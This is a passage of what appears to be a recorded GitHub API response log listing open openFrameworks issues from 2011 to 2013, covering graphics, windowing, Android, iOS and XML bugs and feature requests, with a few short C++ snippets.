gst ..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2460","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2460/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2460/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2460/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2460","id":18003137,"number":2460,"title":"ofxAndroidVideoPlayer working on emulator not on device (iStick A200)","user":{"login":"I33N","id":520375,"avatar_url":"https://1.gravatar.com/avatar/ba8d7c3b4532d3747c30b9be91dc20d5?d=https%3A%2F%2Fidenticons.github.com%2F029dd6120545e3ca65422e4479af8e99.png","gravatar_id":"ba8d7c3b4532d3747c30b9be91dc20d5","url":"https://api.github.com/users/I33N","html_url":"https://github.com/I33N","followers_url":"https://api.github.com/users/I33N/followers","following_url":"https://api.github.com/users/I33N/following{/other_user}","gists_url":"https://api.github.com/users/I33N/gists{/gist_id}","starred_url":"https://api.github.com/users/I33N/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/I33N/subscriptions","organizations_url":"https://api.github.com/users/I33N/orgs","repos_url":"https://api.github.com/users/I33N/repos","events_url":"https://api.github.com/users/I33N/events{/privacy}","received_events_url":"https://api.github.com/users/I33N/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-08-13T15:34:27Z","updated_at":"2013-08-13T17:21:44Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I am working with the iStick A200 (PQLabs ANdroid stick) and wanted to test the video player example. It worked great on the emulator (using auto instead of external in the manifest) but when I launch it on the device I can only see 1 line of pixel flickering.\r\n\r\nThe movie is loaded without problem, I can even see the resolution is OK and I have no problem reading it with the basic videoplayer.\r\n\r\nAs the iStick is not supported on OSX I can't monitor it with logcat and I have to copy the .apk on the device to test. So I can't copy the log. But it looks just fine.\r\n\r\nAny idea? Did you have more luck on another device?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2457","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2457/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2457/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2457/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2457","id":17992953,"number":2457,"title":"vboDrawInstancedExample hardware check not accurate. ","user":{"login":"ofTheo","id":144000,"avatar_url":"https://0.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https%3A%2F%2Fidenticons.github.com%2F4927fe2904a479337f27af83d0ab970f.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":2,"created_at":"2013-08-13T12:09:51Z","updated_at":"2013-08-14T10:21:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"vboDrawInstancedExample seems to work fine for some people even if the check for glDrawElementsInstanced returns 0. \r\n\r\nMaybe there is a better way to test that doesn't get some false negatives.\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,13049.msg56329.html#msg56329\r\n\r\nrelates to #2433 "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2456","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2456/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2456/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2456/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2456","id":17986223,"number":2456,"title":"Window not being redrawn while resizing","user":{"login":"bgstaal","id":165258,"avatar_url":"https://0.gravatar.com/avatar/4fcf8b28dcc18014970d4930d0a00e72?d=https%3A%2F%2Fidenticons.github.com%2Fc78b173dd2f89f95c1414e53b78123fe.png","gravatar_id":"4fcf8b28dcc18014970d4930d0a00e72","url":"https://api.github.com/users/bgstaal","html_url":"https://github.com/bgstaal","followers_url":"https://api.github.com/users/bgstaal/followers","following_url":"https://api.github.com/users/bgstaal/following{/other_user}","gists_url":"https://api.github.com/users/bgstaal/gists{/gist_id}","starred_url":"https://api.github.com/users/bgstaal/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bgstaal/subscriptions","organizations_url":"https://api.github.com/users/bgstaal/orgs","repos_url":"https://api.github.com/users/bgstaal/repos","events_url":"https://api.github.com/users/bgstaal/events{/privacy}","received_events_url":"https://api.github.com/users/bgstaal/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/regression","name":"regression","color":"e10c02"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":1,"created_at":"2013-08-13T09:07:23Z","updated_at":"2013-08-13T11:33:26Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Since the switch to GLFW for windowing the window is not redrawn while being resized. See this screenshot from the advanced 3d example (Taken while resizing the window):\r\n\r\n![redraw-error](https://f.cloud.github.com/assets/165258/953491/6db5463e-03f7-11e3-840e-961a49fc8516.png)\r\n\r\nI tried switching to ofAppGlutWindow in main.c and then everything works fine.\r\n\r\nI've only tested this on Mac OS 10.7\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2455","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2455/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2455/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2455/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2455","id":17984675,"number":2455,"title":"borderless windows?","user":{"login":"mazbox","id":194121,"avatar_url":"https://2.gravatar.com/avatar/3cfb19dbce7926933555ac9755a86ca8?d=https%3A%2F%2Fidenticons.github.com%2F1a833e8b88a3cb77651448055b3e93e9.png","gravatar_id":"3cfb19dbce7926933555ac9755a86ca8","url":"https://api.github.com/users/mazbox","html_url":"https://github.com/mazbox","followers_url":"https://api.github.com/users/mazbox/followers","following_url":"https://api.github.com/users/mazbox/following{/other_user}","gists_url":"https://api.github.com/users/mazbox/gists{/gist_id}","starred_url":"https://api.github.com/users/mazbox/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mazbox/subscriptions","organizations_url":"https://api.github.com/users/mazbox/orgs","repos_url":"https://api.github.com/users/mazbox/repos","events_url":"https://api.github.com/users/mazbox/events{/privacy}","received_events_url":"https://api.github.com/users/mazbox/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2013-08-13T08:26:09Z","updated_at":"2013-08-20T09:26:46Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Now we're on GLFW, could we have the option to have borderless windows? This is really easy in ofAppGLFWWindow.cpp, just need this:\r\n\r\nglfwWindowHint(GLFW_DECORATED, GL_FALSE);\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2449","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2449/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2449/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2449/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2449","id":17928213,"number":2449,"title":"ofxiOSKeyboard need fix y poision?","user":{"login":"azuremous","id":319589,"avatar_url":"https://0.gravatar.com/avatar/c3d1cd991fa2f486a4d2a387531de77e?d=https%3A%2F%2Fidenticons.github.com%2Fbb2af607d543b861335f5fe253300975.png","gravatar_id":"c3d1cd991fa2f486a4d2a387531de77e","url":"https://api.github.com/users/azuremous","html_url":"https://github.com/azuremous","followers_url":"https://api.github.com/users/azuremous/followers","following_url":"https://api.github.com/users/azuremous/following{/other_user}","gists_url":"https://api.github.com/users/azuremous/gists{/gist_id}","starred_url":"https://api.github.com/users/azuremous/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/azuremous/subscriptions","organizations_url":"https://api.github.com/users/azuremous/orgs","repos_url":"https://api.github.com/users/azuremous/repos","events_url":"https://api.github.com/users/azuremous/events{/privacy}","received_events_url":"https://api.github.com/users/azuremous/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":1,"created_at":"2013-08-12T07:54:05Z","updated_at":"2013-08-20T08:44:09Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofxiOSKeyboard.mm\r\n\r\ninside init() and updateOrientation() there is _y = _h need to fix to _y = _yOriginal ?\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2447","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2447/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2447/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2447/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2447","id":17925468,"number":2447,"title":"Feature Request: ofXml saving with XML declaration","user":{"login":"Geistyp","id":1510109,"avatar_url":"https://2.gravatar.com/avatar/6b42478d52d104580a1ae20f973975c2?d=https%3A%2F%2Fidenticons.github.com%2F45d69e69ac304ad6dc2269ebba53ba69.png","gravatar_id":"6b42478d52d104580a1ae20f973975c2","url":"https://api.github.com/users/Geistyp","html_url":"https://github.com/Geistyp","followers_url":"https://api.github.com/users/Geistyp/followers","following_url":"https://api.github.com/users/Geistyp/following{/other_user}","gists_url":"https://api.github.com/users/Geistyp/gists{/gist_id}","starred_url":"https://api.github.com/users/Geistyp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Geistyp/subscriptions","organizations_url":"https://api.github.com/users/Geistyp/orgs","repos_url":"https://api.github.com/users/Geistyp/repos","events_url":"https://api.github.com/users/Geistyp/events{/privacy}","received_events_url":"https://api.github.com/users/Geistyp/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":{"login":"joshuajnoble","id":237423,"avatar_url":"https://1.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https%3A%2F%2Fidenticons.github.com%2Fb2018d244935ce2c5e98c5834187e538.png","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","url":"https://api.github.com/users/joshuajnoble","html_url":"https://github.com/joshuajnoble","followers_url":"https://api.github.com/users/joshuajnoble/followers","following_url":"https://api.github.com/users/joshuajnoble/following{/other_user}","gists_url":"https://api.github.com/users/joshuajnoble/gists{/gist_id}","starred_url":"https://api.github.com/users/joshuajnoble/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/joshuajnoble/subscriptions","organizations_url":"https://api.github.com/users/joshuajnoble/orgs","repos_url":"https://api.github.com/users/joshuajnoble/repos","events_url":"https://api.github.com/users/joshuajnoble/events{/privacy}","received_events_url":"https://api.github.com/users/joshuajnoble/received_events","type":"User"},"milestone":null,"comments":2,"created_at":"2013-08-12T06:09:43Z","updated_at":"2013-08-20T14:31:27Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"- Sometimes we need when save wide-char string. ( Save as ascii will get a lot of messy code )\r\n\r\n```c++\r\nbool ofXml::save(const string & path, bool saveWithDeclaration/*=false*/){\r\n ofBuffer buffer(saveWithDeclaration?\r\n\t\t\t\t\"\\n\"\r\n\t\t\t\t:\"\"\r\n\t\t\t\t+toString());\r\n ofFile file(path, ofFile::WriteOnly);\r\n return file.writeFromBuffer(buffer);\r\n}\r\n```\r\n\r\n- Or ofFile/ofBuffer add utf-8 save mode.\r\n\r\n```c++\r\nstd::ofstream fs;\r\nfs.open(filepath, std::ios::out|std::ios::binary);\r\n\r\nunsigned char smarker[3];\r\nsmarker[0] = 0xEF;\r\nsmarker[1] = 0xBB;\r\nsmarker[2] = 0xBF;\r\n\r\nfs << smarker;\r\nfs.close();\r\n\r\n//Then open the file as UTF and write your content there:\r\n\r\nstd::wofstream fs;\r\nfs.open(filepath, std::ios::out|std::ios::app);\r\n\r\nstd::locale utf8_locale(std::locale(), new utf8cvt);\r\nfs.imbue(utf8_locale); \r\n\r\nfs << .. // Write anything you want...\r\n```"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2445","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2445/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2445/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2445/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2445","id":17924672,"number":2445,"title":"UTF-8 String Clipboard Support","user":{"login":"bakercp","id":300484,"avatar_url":"https://1.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https%3A%2F%2Fidenticons.github.com%2F4aaaf6f29fe96098740aa5f98b6c8b12.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following{/other_user}","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"labels":[],"state":"open","assignee":{"login":"bakercp","id":300484,"avatar_url":"https://1.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https%3A%2F%2Fidenticons.github.com%2F4aaaf6f29fe96098740aa5f98b6c8b12.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following{/other_user}","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":2,"created_at":"2013-08-12T05:22:23Z","updated_at":"2013-08-14T11:03:50Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/2445","diff_url":"https://github.com/openframeworks/openFrameworks/pull/2445.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/2445.patch"},"body":"Perhaps the window interface could also be implemented in mobile platforms.\r\n\r\n- [x] Add support to `ofAppiOSWindow` (go @julapy ! 0c6db8934f3eff84dca3af5939891d9883910b8d) \r\n- [ ] Add support to `ofAppAndroidWindow` (@arturoc can you take this one?)\r\n- [x] Add support to `ofAppEGLWindow` (will not be implemented as GLFW is now used on all known x11 accelerated)\r\n- [x] Add support to `ofAppNoWindow` (?)\r\n- [x] Add support to `ofAppGlutWindow` (just kidding)"}] https GET api.github.com None /repositories/345337/issues?page=17 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4980'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '77244'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 21 Aug 2013 10:42:46 GMT'), ('x-ratelimit-limit', '5000'), ('link', '; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"ff413c4ac1c8950a3c117d577119cd9e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 21 Aug 2013 10:54:17 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1377085393')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/387","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/387/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/387/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/387/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/387","id":529646,"number":387,"title":"Linker error when loading image (Poco::Net related?)","user":{"login":"damiannz","id":144366,"avatar_url":"https://1.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https%3A%2F%2Fidenticons.github.com%2Fc307eaf05d81de0eecbee81d97709991.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following{/other_user}","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-01-16T05:57:51Z","updated_at":"2011-03-13T21:10:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"following error appears when i try to load an image; commenting out the call to loadImage(\"...\") makes the error go away.\n\n Undefined symbols:\n \"std::basic_ostream >& std::__ostream_insert >(std::basic_ostream >&, char const*, int)\", \n referenced from:\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPClientSession::proxyAuthenticateImpl(Poco::Net::HTTPRequest&)in PocoNet.a(HTTPClientSession.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::HTTPRequest::write(std::basic_ostream >&) constin PocoNet.a(HTTPRequest.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::MessageHeader::write(std::basic_ostream >&) constin PocoNet.a(MessageHeader.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n Poco::Net::HTTPResponse::write(std::basic_ostream >&) constin PocoNet.a(HTTPResponse.o)\n\nld: symbol(s) not found\n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/357","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/357/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/357/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/357/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/357","id":527591,"number":357,"title":"ofDrawBitmapString vs GL_LIGHTING","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://1.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https%3A%2F%2Fidenticons.github.com%2F415d63db900c8f799d40632b6eed98dc.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-14T19:30:31Z","updated_at":"2013-07-28T18:47:34Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofDrawBitmapString doesn't work when GL_LIGHTING is enabled.\r\n\r\nwell, it works... but it is black because it isn't reflecting any light. regardless of the ofSetColor."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/347","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/347/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/347/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/347/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/347","id":526094,"number":347,"title":"none of the core functions report how many dimensions they work for","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://1.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https%3A%2F%2Fidenticons.github.com%2F415d63db900c8f799d40632b6eed98dc.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-01-14T01:33: